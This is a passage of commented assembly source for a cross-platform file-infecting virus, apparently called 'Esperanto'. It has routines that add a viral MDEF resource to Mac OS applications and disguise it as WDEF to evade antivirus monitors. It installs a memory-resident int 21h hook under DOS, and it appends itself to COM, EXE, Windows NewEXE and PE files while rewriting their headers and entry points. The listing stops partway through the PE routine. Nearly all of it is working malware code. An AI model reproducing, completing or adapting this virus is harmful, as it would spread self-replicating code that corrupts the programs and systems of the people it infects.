movea.l d6,a3 ; Code apparently found


move.b (a3),d0 ; Now check for our
ext.w d0 ; header and identifiers
cmpi.w #'M',d0 ; Is it an 'M'?
bne.s search_loop ; Keep on searching

move.l a3,d0 ; First byte is an 'M'


addq.l #$1,d0 ; Now check the 2nd one
movea.l d0,a0 ; Move address+1 to a0
move.b (a0),d0 ; Move second byte to d0
ext.w d0 ; Extend d0
cmpi.w #'D',d0 ; Is it a 'D'?
bne.s search_loop ; Keep on searching

move.l a3,d0 ; Base address to d0


addq.l #$2,d0 ; Checking 3rd byte...
movea.l d0,a0 ; Move the address to a0
move.b (a0),d0 ; Move the byte to d0
ext.w d0 ; Extend d0
cmpi.w #'E',d0 ; Is it an 'E'?
bne.s search_loop ; Keep on searching

move.l a3,d0 ; Base address to d0


addq.l #$3,d0 ; Let's check 4th byte
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move 4th byte to d0
ext.w d0 ; Extend d0
cmpi.w #'F',d0 ; Is it an 'F'?
bne.s search_loop ; Keep on searching

move.l a3,d0 ; Restore address in d0


addq.l #$4,d0 ; d0+$4=5th byte to see
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move 5th byte to d0
ext.w d0 ; Extend d0
cmpi.w #$67,d0 ; Check for Esperanto
bne.s search_loop ; resource first ID
move.l a3,d0 ; Base address in d0
addq.l #$5,d0 ; Checking 6th byte
movea.l d0,a0 ; Move its address to a0
move.b (a0),d0 ; Move the byte to d0
ext.w d0 ; Extend d0
cmpi.w #$26,d0 ; Check for the 2nd ID
bne.s search_loop ; Wrong ID, search again

move.l a3,d0 ; Get the address for


addq.l #$6,d0 ; the 7th and last byte,
movea.l d0,a0 ; which has to be our
move.b (a0),d0 ; 3rd resource ID ($0c)
ext.w d0 ; Extend d0
cmpi.w #$0c,d0 ; Everything ok?
bne.s search_loop ; Wrong, how bad luck :(

move.b #'W',(a3) ; Change MDEF to WDEF to


moveq #$1,d7 ; fool some AV watchdogs
search_loop: addq.l #$1,d6 ; and to limit too fast
cmpi.l #$30d40,d6 ; infection, as WDEF is
ble check_offset ; a less called resource

; ÄÄ´ Mac OS applications infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_mac_os: subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'CODE',-(sp) ; Push the resource name
clr.w -(sp) ; we're looking for and
_GetResource ; clear the stack

movea.l (sp)+,a4 ; Move address to a4


subq.w #$2,sp ; Empty stack (2 bytes)
move.l a4,-(sp) ; Push 'CODE' address
_HomeResFile ; Home resource file

move.w (sp)+,d4 ; Move address to d4


subq.w #$2,sp ; Empty stack (2 bytes)
_CurResFile ; Current resource file

move.w (sp)+,d7 ; Move address to d7


subq.w #$4,sp ; Empty stack (4 bytes)
move.l #'MDEF',-(sp) ; Move the resource name
move.w #$espo_file_size,-(sp) ; we're looking for
_GetResource ; (Try to) get it

movea.l (sp)+,a4 ; Move address to a4


move.l a4,d0 ; Does it exist?
bne.s new_mdef ; Go and create it

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Move resource name
pea first_tab ; Move identifier
_GetNamedResource ; Get MDEF address

movea.l (sp)+,a2 ; Move its address to a2


move.l a2,-(sp) ; Push it onto the stack
_DetachResource ; Detach resource

clr.w -(sp) ; Clear the stack


_UseResFile ; Use the MDEF resource

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Move the resource name
clr.w -(sp) ; Clear one word
_GetResource ; Open the MDEF resource

movea.l (sp)+,a4 ; Move handle to a4


move.l a4,-(sp) ; Push it into the stack
move.w #$espo_file_size,-(sp) ; Move our identifier
pea name_only ; And push the name tab
_SetResInfo ; Set resource new info

move.l a4,-(sp) ; Move handle into stack


_ChangedResource ; Resource has changed

move.l a4,-(sp) ; Move handle into stack


_WriteResource ; Write a new MDEF res.

move.l a2,-(sp) ; Stack original address


move.l #'MDEF',-(sp) ; Stack resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Viral res.ID string
_AddResource ; Add new resource

clr.w -(sp) ; Clear one word


_UpdateResFile ; Update resource file

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Now open again the
move.w #$espo_file_size,-(sp) ; MDEF resource in order
_GetResource ; to complete infection

movea.l d5,a0 ; Move our delta to a0


movea.l (a0),a0 ; Move 1st byte to a0
move.l (sp)+,$6(a0) ; Move MDEF address to
move.w d7,-(sp) ; a0+$6 and use the CODE
_UseResFile ; resource (addr.in d7)
bra calc_new_size ; Calculate new size

new_mdef: movea.l d5,a0 ; Move ëelta to a0


move.l (a0),a0 ; Move 1st byte to a0
move.l a4,$6(a0) ; Move address for MDEF
clr.w -(sp) ; to a0+$6 and call
_UseResFile ; UseResFile function

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get a new resource

movea.l (sp)+,a2 ; Move its address to a2


move.l a2,-(sp) ; Push a2 into the stack
_DetachResource ; Detach the new resource

move.w d4,-(sp) ; Use current resource


_UseResFile ; file previously stored

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get the new resource

movea.l (sp)+,a4 ; Move address to a4


move.l a4,d0 ; Is this address busy?
bne.s address_used ; Branch if so

move.l a2,-(sp) ; Stack resource address


move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Resource identifier
_AddResource ; Add new resource

subq.w #$2,sp ; Empty stack (2 bytes)


_CurResFile ; Current resource file
_UpdateResFile ; Update resource file
bra.s calc_new_size ; Calculate new size

address_used: move.w d7,-(sp) ; Use current resource


_UseResFile ; file previously stored

subq.w #$4,sp ; Empty stack (4 bytes)


move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
_Get1Resource ; Get one resource

movea.l (sp)+,a4 ; Move its address to a4


move.l a4,d0 ; Compare it again
bne.s calc_new_size ; Branch if not equal

move.l a2,-(sp) ; Stack resource address


move.l #'MDEF',-(sp) ; Move resource name
clr.w -(sp) ; Clear one word
pea second_tab ; Resource ID string
_AddResource ; Add new resource

subq.w #$2,sp ; Empty stack (2 bytes)


_CurResFile ; Current resource file
_UpdateResFile ; Update resource file

calc_new_size: move.l d5,-(sp) ; Move delta into stack


_CalcMenuSize ; Calculate new menu size

movem.l (sp)+,d4-d7/a2-a4 ; Restore used registers


unlk a6 ; Unlink code address
movea.l (sp)+,a0 ; Move original address
lea $12(sp),sp ; to a0, restore stack
jmp (a0) ; and jump back to it

dc.l #'MAIN' ; Main code module


dc.w #$2020 ; Pre-initialized gaps
dc.w #$2020 ; for Mac OS Finder

; ÄÄ´ Data area for Mac OS module ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

first_tab: dc.w #$16 ; For _GetNamedResource


second_tab: dc.b #$7 ; For _AddResource
name_only: dc.l #'Esperanto' ; For _SetResInfo

; Í͹ DOS runtime module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

real_ce_entry: call delta_offset ; Get ë-offset in BP in


delta_offset: pop bp ; the traditional and
sub bp,offset delta_offset ; always effective way :)
push es cs ; Segment push/popping
pop ds ; for l8r use in our code

mov ax,':)' ; Residency check


int 21h ; Are we home?

cmp ax,';)' ; Winky smiley, we are


je work_done ; already resident...

go_mem_res: mov ax,es ; Residency routine


dec ax ; Get our host's MCB
mov ds,ax ; segment and point its
xor di,di ; start with DI

cmp byte ptr ds:[di],'Y' ; Is it a Z block?


jna work_done ; Exit if it is not

sub word ptr ds:[di+3],((espo_mem_size/10h)+2)


sub word ptr ds:[di+12h],((espo_mem_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax ; Get a new MCB segment
; for the viral code
mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark it as a Z block
mov word ptr ds:[di+1],8 ; And as a system block
mov word ptr ds:[di+3],((espo_mem_size/10h)+1)
mov dword ptr ds:[di+8],00534f44h ; Owner ID -> DOS
inc ax

cld ; Clear direction flag


push cs ; Point with CS and DS
pop ds ; to the code running now
mov es,ax ; ES = virus segment
mov cx,espo_file_size ; CX = virus size
mov si,bp ; SI = virus start
rep movsb ; Copy virus to memory

push es ; Now jump to our copy


push offset copy_vector ; in memory so we don't
retf ; have to use ë-offset

copy_vector: push ds ; Save DS in the stack


mov ds,cx ; DS = CX = 0 -> IVT
mov si,21h*4 ; Point int 21h vector
lea di,old_int_21h ; Point our storage
movsd ; Store old vector

mov word ptr [si-4],offset new_int_21h


mov word ptr [si-2],ax

pop ax ; Once we've set the


mov ds,ax ; new int 21h vector,
mov es,ax ; check out our host

work_done: cmp byte ptr ds:[bp+file_flag],'C' ; Is our host a COM?


je restore_com ; Yes, restore it

restore_exe: pop es ; In case it's an EXE


mov ax,es ; file, get PSP segment
add ax,10h ; and adjust it to
add word ptr ds:[bp+exe_cs],ax ; execute our host code

cli ; Clear interrupts


mov sp,word ptr ds:[bp+exe_sp] ; Set new SP
add ax,word ptr ds:[bp+exe_ss] ; Get SS and add to it
mov ss,ax ; the PSP+10h value
sti ; Set interrupts

xor ax,ax ; Set the value of all


xor bx,bx ; these registers to 0
xor cx,cx ; so it seems that
cwd ; nothing has happened
xor si,si ; and we've not been
xor di,di ; here infecting :)

push word ptr ds:[bp+exe_cs] ; Push initial segment


push word ptr ds:[bp+exe_ip] ; Push initial offset
xor bp,bp ; And jump into there!
retf

restore_com: lea si,[bp+old_com_header] ; Point to the buffer


mov di,100h ; in which we've stored
push ds di ; the original COM header
movsd ; and copy it (5 bytes)
movsb ; to its entrypoint
retf ; Jump to CS:IP

; Í͹ Windows 3.1x module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

newexe_entry: pusha ; Push our registers


push ds es ; And save segments

mov ax,0ah ; Get a writable alias


mov bx,cs ; selector of CS in AX
int 31h ; and move it to DS
mov ds,ax

mov byte ptr ds:[file_or_mem],'F' ; Runtime infection


mov ah,4eh ; Find first file
find_more_com: xor cx,cx ; No special attribs
mov byte ptr ds:[inf_counter],cl ; inf_counter = 0
lea dx,ds:[com_wildcard] ; Look for COM files
int 21h ; to infect only in
jc other_search ; current directory

mov ah,2fh ; Get DTA address in


int 21h ; ES:BX and point to it

add bx,1eh ; BX+1eh -> filename


xchg dx,bx ; ES:DX -> filename
mov byte ptr ds:[file_flag],'C' ; Switch the COM flag on
jmp check_com ; And jump for it!

other_search: mov ah,4eh ; Now let's look for


find_more_exe: xor cx,cx ; EXE files (only in the
lea dx,ds:[exe_wildcard] ; current directory) as
int 21h ; there are not more
jc restore_ne ; COM files to infect

mov ah,2fh ; Get DTA address in


int 21h ; ES:BX and point to it

add bx,1eh ; BX+1eh -> filename


xchg dx,bx ; ES:DX -> filename
mov byte ptr ds:[file_flag],'E' ; Switch the EXE flag on
jmp check_exe ; And jump for it!

restore_ne: pop es ds ; Pop our segments and


popa ; reggs from the stack

db 0eah ; jmp xxxx:xxxx


newexe_ip dw ? ; Original offset
newexe_cs dw 0ffffh ; Original segment
; Í͹ DOS memory resident module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

new_int_21h: cmp ax,':)' ; Our residency check?


jne more_checks ; Nope, more checks...

inc ah ; Turn ":)" into ";)"


iret ; Interrupt return

more_checks: cmp ah,4eh ; Find first file?


je findfirst ; Yes, it's our time!

cmp ah,4fh ; Find next file?


je findnext ; Our time again! :)

return_to_int: db 0eah ; jmp xxxx:xxxx


old_int_21h dw ?,? ; Original int 21h

; ÄÄ´ Findfirst (4eh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

findfirst: pusha ; Push'em onto the stack


push es cs ; Push ES as well so we
pop es ; now change it to CS

cld ; Clear direction flag


mov si,dx ; DS:DX/SI -> filename
lea di,filename ; ES:DI -> name buffer
mov word ptr cs:[file_offset],di ; Filename offset

get_path: lodsb ; Load a byte of path


or al,al ; The end of the path?
je no_more_path ; Jump if so to work...

stosb ; Store it in the buffer


cmp al,':' ; Possible end of path?
je update_offset ; Then update offset

cmp al,'\' ; Possible end of path?


jne get_path ; Update filename offset

update_offset: mov word ptr cs:[file_offset],di ; New filename offset


jmp get_path ; Get more characters

no_more_path: pop es ; Restore ES from stack


popa ; And the other registers

; ÄÄ´ Findnext (4fh) service ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

findnext: pushf ; Push flags in the stack


call dword ptr cs:[old_int_21h] ; Call original int 21h

pushf ; Push flags again


pusha ; Now push registers
push ds es ; And now segments

lets_work: cld ; Clear direction flag


mov ah,2fh ; Get Disk Transfer Area
int 21h ; (DTA) in ES:BX

mov di,word ptr cs:[file_offset] ; DI -> filename offset


mov si,bx ; Now point with DS:SI
add si,1eh ; to the name in DTA
push cs es ; New DS = old ES
pop ds es ; New ES = old CS

get_name: lodsb ; Load byte from DS:SI


stosb ; And store it in ES:DI
cmp al,'.' ; Look for extension
jne not_a_dot ; Have we reached it?

mov word ptr cs:[dot_xy],di ; Then store its offset


not_a_dot: or al,al ; End of filename?
jne get_name ; Keep on getting it

push cs ; Push CS and pop DS


pop ds ; so they're the same

lea dx,filename ; DS:DX -> filename


mov di,word ptr ds:[dot_xy] ; DS:DI -> extension
mov byte ptr cs:[file_or_mem],'M'

cmp word ptr ds:[di],'XE' ; Is it an EXE file?


je check_exe ; Seems so...

cmp word ptr ds:[di],'OC' ; Maybe a COM file?


jne pop_and_leave ; If not, pop and leave

; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check_com: push ds es ; DS = ES (to open files


pop ds ; in DS:DX and ES:DX)

mov ax,3d02h ; Open the file we've


int 21h ; found in DS:DX (from
xchg bx,ax ; memory) or ES:DX (from
pop ds ; the runtime infection)

call system_checks ; Do some checks in


or ah,ah ; order to know if we
jz close_and_pop ; may infect the file

mov ah,3fh ; Read its first five


mov cx,5 ; bytes to our buffer
lea dx,old_com_header ; and check if the file
int 21h ; is already infected

cmp word ptr ds:[old_com_header+3],');'


je close_and_pop ; File is infected

call lseek_end ; Now check its size


cmp ax,(0fc17h-espo_file_size) ; 65535-virus-1000
jae close_and_pop ; Is it is too large?

cmp ax,(espo_file_size+3e8h) ; And now see if it's


jbe close_and_pop ; too small (virus+1000)

; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_com: mov byte ptr ds:[file_flag],'C' ; Set the COM flag in


inc byte ptr ds:[inf_counter] ; Increment the counter
push ax ; AX -> filesize

mov ah,40h ; Append our code to


mov cx,espo_file_size ; the file we're about
lea dx,espo_start ; to infect, leaving
int 21h ; out the data buffers

pop ax ; Filesize in AX
sub ax,3 ; Calcul8 the new jmp
mov word ptr ds:[new_com_header+1],ax ; And write it

call lseek_start ; Lseek to the start

mov ah,40h ; And now write our new


mov cx,5 ; header -0e9h,?,?,;)-
lea dx,new_com_header ; which jumps straight
int 21h ; to the viral code

close_and_pop: mov ah,3eh ; Close the file we've


int 21h ; just infected

pop_and_leave: cmp byte ptr ds:[file_or_mem],'M' ; Memory infection?


je memory_exit ; Yes, jump back to it

cmp byte ptr ds:[inf_counter],3 ; Have we reached the


je restore_ne ; infection limit?

mov ah,4fh ; If not, look for more


cmp byte ptr ds:[file_flag],'C' ; files to infect, both
je find_more_com ; EXE and COM, depending
jmp find_more_exe ; on their availability

memory_exit: pop es ds ; Jump back to the int


popa ; 21h handler and keep
popf ; on intercepting 4eh
retf 2 ; and 4fh to infect

; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check_exe: push ds es ; DS = ES (to open files


pop ds ; in DS:DX and ES:DX)

mov ax,3d02h ; Open the file we've


int 21h ; found in DS:DX (from
xchg bx,ax ; memory) or ES:DX (from
pop ds ; the runtime infection)

call system_checks ; Do some checks in


or ah,ah ; order to know if we
jz close_and_pop ; may infect the file

mov ah,3fh ; Read its first 41h


mov cx,41h ; bytes into our read
lea dx,old_exe_header ; buffer and point it
mov si,dx ; with DS:DX and DS:SI
int 21h

mov ax,word ptr ds:[si] ; First word in AX


add ah,al ; Add the 2 first bytes
cmp ah,'M'+'Z' ; And check for the MZ
jne close_and_pop ; mark (DOS EXE files)

cmp word ptr ds:[si+12h],');' ; Have we already


je close_and_pop ; infected the file?

cmp word ptr ds:[si+1ah],0 ; We don't like evil


jne close_and_pop ; overlays :P
cmp word ptr ds:[si+1eh],'KP' ; Nor PkLited EXE files,
je close_and_pop ; they plainly suck

call lseek_end ; Lseek to the end of


cmp ax,(espo_file_size+3e8h) ; the file and check if
jbe close_and_pop ; it's too small for us

cmp byte ptr ds:[si+18h],40h ; Is it a WinXX file?


je check_winexe ; Yep, go for it!

; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_exe: mov byte ptr ds:[file_flag],'E' ; Set the EXE flag in


inc byte ptr ds:[inf_counter] ; Increment the counter

push ax dx ; DX:AX -> file size


mov cx,10h ; CX -> paragraph size
div cx ; Now divide the length
sub ax,word ptr ds:[si+8] ; Header size in paras
add dx,offset com_exe_entry ; Add the entry offset

push ax ; AX = new EXE CS


xchg word ptr ds:[si+16h],ax ; Exchange the values
mov word ptr ds:[exe_cs],ax ; Save old EXE CS
pop ax ; Restore AX from stack

push dx ; DX = new EXE IP


xchg word ptr ds:[si+14h],dx ; Exchange the values
mov word ptr ds:[exe_ip],dx ; Save old EXE IP
pop dx ; Restore DX from stack

add dx,offset espo_file_end+320h ; Add 320h to the virus


and dl,0feh ; size in order to set SP

xchg word ptr ds:[si+0eh],ax ; Exchange the values


mov word ptr ds:[exe_ss],ax ; And save old EXE SS

xchg word ptr ds:[si+10h],dx ; Exchange the values


mov word ptr ds:[exe_sp],dx ; And save old EXE SP
pop dx ax ; DX:AX -> file size

add ax,espo_file_size ; Add virus size to AX


adc dx,0 ; And add with carry
mov cx,200h ; CX -> page size
div cx ; Divide the length
inc ax ; Increment one page
mov word ptr ds:[si+2],dx ; Bytes in last page
mov word ptr ds:[si+4],ax ; Pages in EXE file
mov word ptr ds:[si+12h],');' ; Set our own mark

mov ah,40h ; Append our code to


mov cx,espo_file_size ; the end of the EXE
lea dx,espo_start ; file we've almost
int 21h ; infected :P

call lseek_start ; Lseek to start

mov ah,40h ; And now write the


mov cx,1ch ; new header with the
mov dx,si ; updated pointers
int 21h ; instead of the old one
go_away: jmp close_and_pop ; Close file and exit
; ÄÄ´ NewEXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check_winexe: lea di,winexe_data ; Point to our buffer


mov ax,word ptr ds:[si+3ch] ; Save the pointer to
mov word ptr ds:[di],ax ; the new EXE header

mov word ptr ds:[si+12h],');' ; Set our infection mark


sub word ptr ds:[si+3ch],8 ; Substract a quadword
cmp word ptr ds:[si+3eh],0 ; Enough room for us?
jne go_away ; Oops... shit... :(

call lseek_start ; Lseek to start

mov ah,40h ; Write in the changes


mov cx,40h ; we've just made in
mov dx,si ; the pointers of the
int 21h ; MZ header of the file

mov dx,word ptr ds:[di] ; Lseek to the new EXE


call lseek_middle ; header (MZ+[3ch])

mov ah,3fh ; Read 200h bytes from


mov cx,200h ; the start of the new
mov dx,si ; EXE file to our buffer
int 21h ; and point to it

cmp word ptr ds:[si],'EP' ; Is it a PE file?


je check_pe ; Go and eat it!

cmp word ptr ds:[si],'EN' ; Maybe a NewEXE file?


jne bad_winexe ; Argh! that's bad luck

cmp word ptr ds:[si+36h],802h ; Does it have gangload


je infect_newexe ; area? good to know ;)

call lseek_start ; Lseek to start of the


bad_winexe: mov ah,3fh ; file and read again
mov cx,41h ; the MZ header because
mov dx,si ; we have to remodify it
int 21h

add word ptr ds:[si+3ch],8 ; Update the pointer to


call lseek_start ; the new EXE header

mov ah,40h ; And rewrite the MZ


mov cx,40h ; header, stored in our
mov dx,si ; read buffer (pointed
int 21h ; by DS:DX and DS:SI)
jmp close_and_pop ; Close file and exit

; ÄÄ´ NewEXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_newexe: inc byte ptr ds:[inf_counter] ; Increment the counter


mov ax,word ptr ds:[si+22h] ; Distance to seg.table
mov dx,8 ; Value we have to add
cmp word ptr ds:[si+4],ax ; to the pointers which
jb first_ok ; are equal to AX

add word ptr ds:[si+4],dx ; Update first pointer


first_ok: mov cx,4 ; 4 pointers to update
push si ; Push SI onto stack
add si,24h ; Now go for the rest
update_ptrs: cmp word ptr ds:[si],ax ; Pointer below AX?
jb dont_add ; Don't add 8 to it

add word ptr ds:[si],dx ; Update the pointer


dont_add: inc si ; I know i could have
inc si ; optimized this, but
loop update_ptrs ; who cares :P
pop si ; Pop SI from stack

mov ax,word ptr ds:[si+1ch] ; AX -> segment counter


inc word ptr ds:[si+1ch] ; Increment counter

mov cx,dx ; CX = DX = 8
cwd ; Now set DX to 0
mov byte ptr ds:[si+37h],dl ; EXE flags = 0
mov word ptr ds:[si+38h],dx ; Kill gangload area
mov word ptr ds:[si+3ah],dx ; for compatibility
mul cx ; Multiply AX*CX

add ax,word ptr ds:[si+22h] ; Ptr to segment table


mov cx,200h ; CX -> page size
adc dx,0 ; Add with carry to DX
div cx ; Divide the length

mov word ptr ds:[di+3],ax ; Move to newexe_size


mov word ptr ds:[di+5],dx ; Move to last_newexe

mov ax,offset newexe_entry ; Offset of the NE entry


xchg ax,word ptr ds:[si+14h] ; Exchange the values
mov word ptr ds:[old_ne_ip],ax ; Store old NE IP

mov ax,word ptr ds:[si+1ch] ; Nr.of segments in NE


xchg ax,word ptr ds:[si+16h] ; Exchange the values
mov word ptr ds:[old_ne_cs],ax ; Store old NE CS

mov al,byte ptr ds:[si+32h] ; Get file alignment


mov byte ptr ds:[di+2],al ; shift count in AL

mov ax,word ptr ds:[di] ; Offset of NE header


mov word ptr ds:[di+7],ax ; in AX and lseek_newexe

move_forward: mov ax,word ptr ds:[di+3] ; Get newexe_size value


or ax,ax ; in AX and check if it
jz last_page ; is equal to zero

dec word ptr ds:[di+3] ; Decrement newexe_size


mov dx,word ptr ds:[di+7] ; Now lseek to [3ch]-8
sub dx,8 ; in order to shift the
call lseek_middle ; required objects

mov ah,40h ; Write one page which


mov cx,200h ; contains the NE header
add word ptr ds:[di+7],cx ; in [3ch]-8 in order to
mov dx,si ; shift the 1st object
int 21h

push cx ; CX -> one page size


mov dx,word ptr ds:[di+7] ; Now lseek to the end
call lseek_middle ; of the *new* NE header

mov ah,3fh ; Read a new page from


pop cx ; current offset to our
mov dx,si ; buffer, pointed both
int 21h ; by DS:DX and DS:SI

jmp move_forward ; And go shift it


last_page: call lseek_end ; Lseek to the bottom

mov cl,byte ptr ds:[di+2] ; Get align_shift in CL


push bx ; Push file handle
mov bx,1 ; And now shift segment
shl bx,cl ; offset by segment
mov cx,bx ; alignment (shl -> CX)
pop bx ; Pop file handle
div cx ; And divide AX:CX

mov word ptr ds:[di+9],0 ; Set lseek_add = 0


or dx,dx ; Is DX also zero?
jz no_extra ; Yes, no extra page

sub cx,dx ; Substract DX from CX


mov word ptr ds:[di+9],cx ; Move it to lseek_add
inc ax ; And increment AX

no_extra: push di ; Push DI onto stack


mov di,si ; Now DS:SI = DS:DI
add di,word ptr ds:[last_newexe] ; DS:DI+last_newexe

mov word ptr ds:[di],ax ; Segment offset


mov word ptr ds:[di+2],espo_file_size ; Segment size
mov word ptr ds:[di+4],180h ; Segment attribs
mov word ptr ds:[di+6],espo_file_size+400h ; Bytes to
pop di ; allocate

mov dx,word ptr ds:[di+7] ; Lseek to the offset


sub dx,8 ; where we have to
call lseek_middle ; write this last page

mov ah,40h ; Write it in, its


mov cx,word ptr ds:[di+5] ; size is specified
add cx,8 ; in (last_newexe)+8
mov dx,si ; Point to the buffer
int 21h ; And do it :P

xor cx,cx ; Set the NewEXE IP


xchg word ptr ds:[newexe_ip],cx ; to zero, exchange it
push cx ; and push old value
xor cx,cx ; And now set the
dec cx ; NewEXE CS to 0ffffh
xchg word ptr ds:[newexe_cs],cx ; Exchange the values
push cx ; And push it for l8r

mov ax,4202h ; Lseek to our final


xor cx,cx ; destination place
mov dx,word ptr ds:[di+9] ; in the NewEXE file
int 21h

mov ah,40h ; And append our virus


mov cx,espo_file_size ; body to it... now
lea dx,espo_start ; it has grown 4733
int 21h ; charming bytes :P

pop word ptr ds:[newexe_cs] ; Restore relocation


pop word ptr ds:[newexe_ip] ; pointers for CS:IP

mov ah,40h ; And write the cool


mov cx,reloc_size ; relocation item :)
lea dx,reloc_start ; Now the file is
int 21h ; 4743 bytes bigger!
jmp go_away ; Close it and exit

; ÄÄ´ PE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check_pe: call lseek_start ; Lseek to the start


mov ah,3fh ; of the file and
mov cx,41h ; read again the first
mov dx,si ; 41h bytes of the MZ
int 21h ; header to rebuild it

call lseek_start ; Lseek to start again


add word ptr ds:[si+MZ_lfanew],8 ; Update the pointer
mov ah,40h ; to the new EXE header
mov cx,40h ; by readding 8 to it
mov dx,si ; and write the MZ
int 21h ; header back

mov dx,word ptr ds:[di] ; Now lseek to the


call lseek_middle ; PE header (in [3ch])

mov ah,3fh ; Read one page from


mov cx,200h ; it to our buffer
mov dx,si ; and point it both
int 21h ; with DS:DX and DS:SI

mov bp,si ; Also DS:SI = DS:BP


lodsd ; First doubleword

mov ax,word ptr ds:[si+FH_Characteristics]


test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz go_away
; We don't want neither
test ax,IMAGE_FILE_DLL ; DLLs nor non-exec PE
jnz go_away ; files, just skip them

; Get number of sections of the PE file


; and then point the first section with EDI

movzx ecx,word ptr [si+FH_NumberOfSections]


movzx edi,word ptr [si+FH_SizeOfOptionalHeader]
add si,IMAGE_SIZEOF_FILE_HEADER
add edi,esi

s_image_sect: mov eax,dword ptr ds:[si+OH_DataDirectory\


.DE_Import\
.DD_VirtualAddress]
mov edx,dword ptr ds:[di+SH_VirtualAddress]
sub eax,edx

; Now we're looking for the section in which


; the import table is found. This is usually
; the .idata section, but we make sure by
; means of checking if the address of the
; imports directory is inside this section

cmp eax,dword ptr ds:[di+SH_VirtualSize]


jb section_is_ok

; In case it's not, we point to the header


; of the next section with EDI, and keep on
; doing the same until we find it

add di,IMAGE_SIZEOF_SECTION_HEADER
loop s_image_sect
jmp go_away

; Now get a pointer to the first import


; module descriptor in EAX so we may
; look for KERNEL32.DLL thru this array

section_is_ok: add eax,dword ptr ds:[di+SH_PointerToRawData]


mov dword ptr ds:[rawdata_ptr],eax
sub edx,eax
push edx

; Get absolute address to this array


; in EDX and lseek to it in order to
; read 4096 to our buffer, so we may
; look for the KERNEL32.DLL descriptor

mov edx,eax
call lseek_middle

mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
int 21h

; Restore EDX and point both with EAX and


; EBP to the array of imported modules

pop edx
mov eax,ebp

; Get the RVA of the Import Module


; Descriptor in ESI and later check
; if it actually exists or not (=0)

next_imd_imge: mov esi,dword ptr ds:[bp+ID_Name]


lea edi,kernel32_n
or esi,esi
jz go_away

; Now get the address of the name of


; the IMD and check if it's the one
; we're looking for (KERNEL32.DLL)

push eax ebp


sub esi,edx
sub esi,dword ptr ds:[rawdata_ptr]
add esi,eax
mov ecx,8

; Get a character from DS:ESI, check its


; case, convert it if necessary to uppercase
; and then compare the strings pointed by
; DS:ESI and DS:EDI (-> KERNEL32.DLL)

dll_lewp: lodsb
cmp al,'a'
jb check_charct

sub al,('a'-'A')
check_charct: scasb
jne more_imd_imge
loop dll_lewp

; Name matched, restore registers

pop edi
push es bx

; Get file date/time and check if it is a


; binded file (date 24/08/95, time 9:50)

mov ah,2fh
int 21h

cmp dword ptr es:[bx+16h],1f184e40h


je go_away

; Don't infect it in case it is binded.


; Otherwise point the table of imported
; addresses from the current module (K32)
; and look for some necessary RVAs

pop bx es ebp
mov esi,dword ptr [di+ID_FirstThunk]
sub esi,edx
mov dword ptr ds:[thunk_offset],esi
push edx

; Lseek to the absolute offset and read


